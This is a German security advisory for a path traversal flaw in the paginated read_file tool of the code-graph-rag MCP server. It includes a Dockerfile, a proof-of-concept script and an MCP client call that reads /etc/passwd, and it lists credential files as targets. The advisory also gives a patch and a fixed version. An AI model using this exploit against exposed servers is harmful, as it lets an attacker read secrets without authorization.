Hoch

Code Graph RAG: MCP paginierte read_file Path Traversal / beliebiges Lesen von Dateien

  • Veröffentlicht: 09.11.2026
  • Aktualisiert: 10.11.2026 10:00

Zusammenfassung

Das MCP-Tool read_file in codebase_rag/mcp/tools.py weist eine Path-Traversal-Schwachstelle in seinem paginierten Zweig auf (wenn offset oder limit übergeben wird). Der Handler erstellt einen Dateipfad mittels Path(self.project_root) / file_path, ohne anschließend zu validieren, dass der aufgelöste Pfad innerhalb des konfigurierten Projekt-Stammverzeichnisses verbleibt. Pythons pathlib verwirft stillschweigend die linke Komponente, wenn das rechte Argument ein absoluter Pfad ist, wodurch ein Angreifer jede als UTF-8 lesbare Datei auf dem Server lesen kann, indem ein absoluter Pfad wie /etc/passwd übergeben wird.

Details

Verwundbare Stelle: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)

Das MCP-Tool read_file akzeptiert drei Parameter: file_path, offset und limit. Wenn entweder offset oder limit vorhanden ist, durchläuft der Handler einen separaten Codepfad:

python
# codebase_rag/mcp/tools.py:556-565
async def read_file(
    self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
    logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
    try:
        if offset is not None or limit is not None:
            full_path = Path(self.project_root) / file_path   # ← VULNERABLE LINE
            start = offset if offset is not None else 0

            with open(full_path, encoding=cs.ENCODING_UTF8) as f:   # ← SINK

Da pathlib.Path.__truediv__ den linken Operanden vollständig ersetzt, wenn der rechte Operand ein absoluter Pfad ist, führt jeder vom Aufrufer bereitgestellte absolute Pfad (z. B. /etc/passwd, /proc/self/environ) dazu, dass full_path außerhalb des Projektstamms verweist.

Der nicht paginierte Zweig ist durch den @validate_project_path-Decorator geschützt (angewendet über codebase_rag/tools/file_reader.py:27), welcher .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75) durchführt. Dieser Decorator wird im paginierten Zweig jedoch nie aufgerufen, sodass dieser vollkommen ungeschützt bleibt.

Vollständiger Datenfluss (Quelle → Senke):

  1. codebase_rag/config.py:302 — Der Standard-Host für HTTP MCP ist 0.0.0.0.
  2. codebase_rag/cli.py:717 — Die CLI stellt mcp-server bereit.
  3. codebase_rag/cli.py:726–731 — --transport http ruft serve_http(host=resolved_host, port=resolved_port) auf.
  4. codebase_rag/mcp/server.py:208–210 — Starlette bindet den MCP-HTTP-Endpunkt ein.
  5. codebase_rag/mcp/tools.py:227–249 — read_file wird als MCP-Tool registriert, das die vom Angreifer kontrollierten Parameter file_path, offset und limit entgegennimmt.
  6. codebase_rag/mcp/server.py:113–127 — call_tool leitet JSON-Argumente über await handler(**arguments) direkt an den Handler weiter.
  7. codebase_rag/mcp/tools.py:561–565 — Der paginierte Zweig erstellt full_path und ruft open(full_path) ohne jegliche Grenzprüfung auf.

Die Schwachstelle ist auch bei Verwendung des stdio-Transports vorhanden, da der betroffene Codepfad nicht vom Transporttyp abhängt; der unauthentifizierte Netzwerkangriff ist jedoch nur möglich, wenn der HTTP-Transport konfiguriert ist.

PoC

Voraussetzungen:

  • Docker ist installiert.
  • Repository ist geklont, und die vuln-001/-Artefakte sind vorhanden (Dockerfile, poc.py).

Erstellung und Ausführung:

bash
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc

Das Dockerfile installiert das Paket codebase_rag aus den lokalen Repository-Quellen, erstellt ein „sicheres“ Projekt-Stammverzeichnis unter /tmp/safe-project-root und führt poc.py aus.

Ablauf des PoC (poc.py):

  1. Mockt die nativen C-Erweiterungen mgclient / pymgclient (Memgraph-Client) vorab, sodass das Paket ohne aktive Datenbank importiert werden kann.
  2. Instanziiert MCPToolsRegistry über object.__new__() und setzt nur self.project_root = "/tmp/safe-project-root" – genau wie der echte Server.
  3. Demonstriert den Pathlib-Bypass: Path("/tmp/safe-project-root") / "/etc/hosts" löst zu Path("/etc/hosts") auf.
  4. Ruft registry.read_file("/etc/hosts", offset=0, limit=5) auf – die tatsächlich verwundbare Methode aus dem installierten Paket.
  5. Überprüft per Assertion, dass echter Inhalt von /etc/hosts zurückgegeben wird, was die vollständige Umgehung der Verzeichnisgrenzen bestätigt.

Erwartete Ausgabe:

[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::	ip6-localnet
ff00::	ip6-mcastprefix
ff02::1	ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal

Äquivalenter HTTP-Transport-Angriff (bei laufendem Server):

bash
python3 - <<'PY'
import anyio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "read_file",
                {"file_path": "/etc/passwd", "offset": 0, "limit": 10},
            )
            print(result.content[0].text)

anyio.run(main)
PY

Behebung:

diff
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Auswirkungen

Hierbei handelt es sich um eine Path-Traversal- / Arbitrary-File-Read-Schwachstelle. Jede über das Netzwerk erreichbare Instanz des MCP-HTTP-Servers ist betroffen; in der Standardkonfiguration ist keine Authentifizierung erforderlich.

Ein nicht authentifizierter Remote-Angreifer kann jede Datei auf dem Dateisystem des Servers lesen, für die der Prozess unter cgr mcp-server Leserechte besitzt. Potenzielle Ziele sind unter anderem:

  • /etc/passwd, /etc/shadow — Offenlegung von Anmeldedaten.
  • Anwendungsgeheimnisse, API-Schlüssel, .env-Dateien oder private Schlüssel auf dem Host.
  • Quellcode oder Konfigurationsdateien außerhalb des vorgesehenen Projekt-Repositories.
  • Cloud-Instanz-Metadaten-Endpunkte, die über den lokalen Dateipfad erreichbar sind (z. B. /proc/self/environ zur Offenlegung von Umgebungsvariablen).

Die Schwachstelle ist besonders schwerwiegend, da der HTTP-Transport standardmäßig an 0.0.0.0:8080 bindet (codebase_rag/config.py:302) und den Server somit ohne Authentifizierungsanforderung im Netzwerk exponiert.

Reproduktionsartefakte

Dockerfile

dockerfile
FROM python:3.12-slim

# Install build tools needed for some dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
        gcc build-essential \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /app

# Copy the vulnerable repository source
COPY repo/ /app/repo/

# Install pure-Python dependencies (pymgclient is a native Memgraph client that
# requires a live Memgraph instance; we mock it in the PoC script instead)
RUN pip install --upgrade pip --quiet && \
    pip install --quiet \
        loguru \
        "mcp>=1.25.0" \
        "pydantic-ai>=1.102.0" \
        "pydantic-settings>=2.12.0" \
        "python-dotenv>=1.2.1" \
        "tiktoken>=0.12.0" \
        "toml>=0.10.2" \
        "tree-sitter==0.25.2" \
        "tree-sitter-python>=0.25.0" \
        "watchdog>=6.0.0" \
        "typer>=0.21.1" \
        "rich>=14.2.0" \
        "prompt-toolkit>=3.0.52" \
        "diff-match-patch>=20241021" \
        "click>=8.3.1" \
        "protobuf>=6.33.5" \
        "defusedxml>=0.7.1" \
        "huggingface-hub>=1.7.2" \
        "pathspec>=1.0.4" \
        "griffe>=1.0,<2" \
        httpx \
        anyio

# Install the codebase_rag package from the cloned repo.
# --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific;
# all other runtime deps were already installed above.
RUN pip install --no-deps --quiet -e /app/repo/

# Create the "safe" project root that the victim server would normally restrict to
RUN mkdir -p /tmp/safe-project-root && \
    echo "# This is a safe project file" > /tmp/safe-project-root/README.md

COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version    : <= 0.0.343 (unpatched at HEAD commit f5d6bfd)

Vulnerable code location:
    codebase_rag/mcp/tools.py  lines 561-565 (MCPToolsRegistry.read_file)

Root cause:
    When 'offset' or 'limit' is provided, the method builds the path as:
        full_path = Path(self.project_root) / file_path          # line 562
    Python's pathlib discards 'project_root' when 'file_path' is an absolute path.
    The non-paginated branch is protected by @validate_project_path, but this branch
    has no such guard, so any absolute path is opened unconditionally.

Attack path (HTTP transport):
    MCP client  ->  POST /mcp  ->  call_tool("read_file", {"file_path": "/etc/hosts",
                                               "offset": 0, "limit": 5})
    -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5)
    -> full_path = Path("/safe/root") / "/etc/hosts"  ==>  Path("/etc/hosts")
    -> open("/etc/hosts")  # no boundary check, file content returned

This PoC exercises the actual MCPToolsRegistry.read_file() method from the
installed package.  The Memgraph client (mgclient) is pre-mocked in sys.modules
because it is a native C extension that requires a live database; it is NOT used
by the vulnerable code path.  The MCPToolsRegistry instance is created via
object.__new__() to skip the __init__ that would connect to Memgraph -- the
paginated read_file branch only reads self.project_root, nothing else.
"""

import asyncio
import sys
from pathlib import Path
from unittest.mock import MagicMock

# ---------------------------------------------------------------------------
# Step 1: Pre-mock native dependencies that are irrelevant to the vuln path
# ---------------------------------------------------------------------------
# mgclient is a C extension (Memgraph client).  It is imported at the top of
# codebase_rag/services/graph_service.py.  Inserting a MagicMock lets the
# module import succeed without a native library or a live Memgraph server.
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()

# ---------------------------------------------------------------------------
# Step 2: Import the vulnerable class from the installed package
# ---------------------------------------------------------------------------
print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...")
try:
    from codebase_rag.mcp.tools import MCPToolsRegistry
except Exception as exc:
    print(f"[!] Import failed: {exc}")
    sys.exit(2)
print("[+] Import successful\n")

# ---------------------------------------------------------------------------
# Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__)
# ---------------------------------------------------------------------------
# __init__ connects to Memgraph and Qdrant -- neither is available here.
# The paginated read_file branch uses ONLY self.project_root, so setting
# just that attribute is sufficient to reproduce the vulnerability.
SAFE_ROOT = "/tmp/safe-project-root"

registry = object.__new__(MCPToolsRegistry)
registry.project_root = SAFE_ROOT

print(f"[*] MCPToolsRegistry instance created via object.__new__()")
print(f"[*] project_root = {SAFE_ROOT!r}")
print()

# ---------------------------------------------------------------------------
# Step 4: Demonstrate the pathlib absolute-path bypass
# ---------------------------------------------------------------------------
ATTACK_PATH = "/etc/hosts"

joined = Path(SAFE_ROOT) / ATTACK_PATH
print("[*] Pathlib join behaviour (the root cause):")
print(f"    Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}")
print(f"    => {joined}")
print(f"    Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}")

assert str(joined) == ATTACK_PATH, (
    f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}"
)
print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n")

# ---------------------------------------------------------------------------
# Step 5: Call the actual vulnerable method
# ---------------------------------------------------------------------------
print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)")
print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path")
print(f"[*] Resulting full_path       = {joined}")
print()


async def run_poc() -> str:
    return await registry.read_file(ATTACK_PATH, offset=0, limit=5)


result = asyncio.run(run_poc())

print("[+] read_file() returned:")
print("-" * 60)
print(result)
print("-" * 60)
print()

# ---------------------------------------------------------------------------
# Step 6: Validate the output contains real /etc/hosts content
# ---------------------------------------------------------------------------
with open(ATTACK_PATH) as fh:
    actual_hosts = fh.read()

# Accept any of: pagination header, loopback address, or raw /etc/hosts lines
confirmed = (
    "Lines " in result                             # pagination header present
    or "127.0.0.1" in result                       # standard loopback entry
    or "localhost" in result                        # standard hostname entry
    or "::1" in result                             # IPv6 loopback
    or any(
        line.strip() in result
        for line in actual_hosts.splitlines()
        if line.strip() and not line.startswith("#")
    )
)

if confirmed:
    print("[+] EXPLOIT SUCCESSFUL")
    print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal")
    print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed")
    print()
    print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal")
    sys.exit(0)
else:
    print("[-] Validation failed -- could not find /etc/hosts content in result")
    print(f"[-] Returned value: {result!r}")
    sys.exit(1)

Was zu tun ist

Aktualisieren Sie auf Version 0.0.345 oder neuer.

diff
--- a/codebase_rag/mcp/tools.py
+++ b/codebase_rag/mcp/tools.py
@@
     async def read_file(
         self, file_path: str, offset: int | None = None, limit: int | None = None
     ) -> str:
         logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
         try:
             if offset is not None or limit is not None:
-                full_path = Path(self.project_root) / file_path
+                project_root = Path(self.project_root).resolve()
+                try:
+                    full_path = (project_root / file_path).resolve()
+                    full_path.relative_to(project_root)
+                except (ValueError, RuntimeError):
+                    return te.ERROR_WRAPPER.format(
+                        message=lg.FILE_OUTSIDE_ROOT.format(action="access")
+                    )
                 start = offset if offset is not None else 0

                 with open(full_path, encoding=cs.ENCODING_UTF8) as f:

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) code-graph-rag < 0.0.345 0.0.345

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-22
Plattform
Python (PyPI)
Paket
code-graph-rag
Veröffentlicht
09.11.2026
Aktualisiert
10.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-vvr2-h2jp-838m - CC BY 4.0

Schwachstellenhistorie: code-graph-rag

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
11.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Code Graph RAG: MCP paginierte read_file Path Traversal / beliebiges Lesen von Dateien dieser Eintrag
    Hoch · 7.5 CVE-2026-77604 < 0.0.345 0.0.345

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.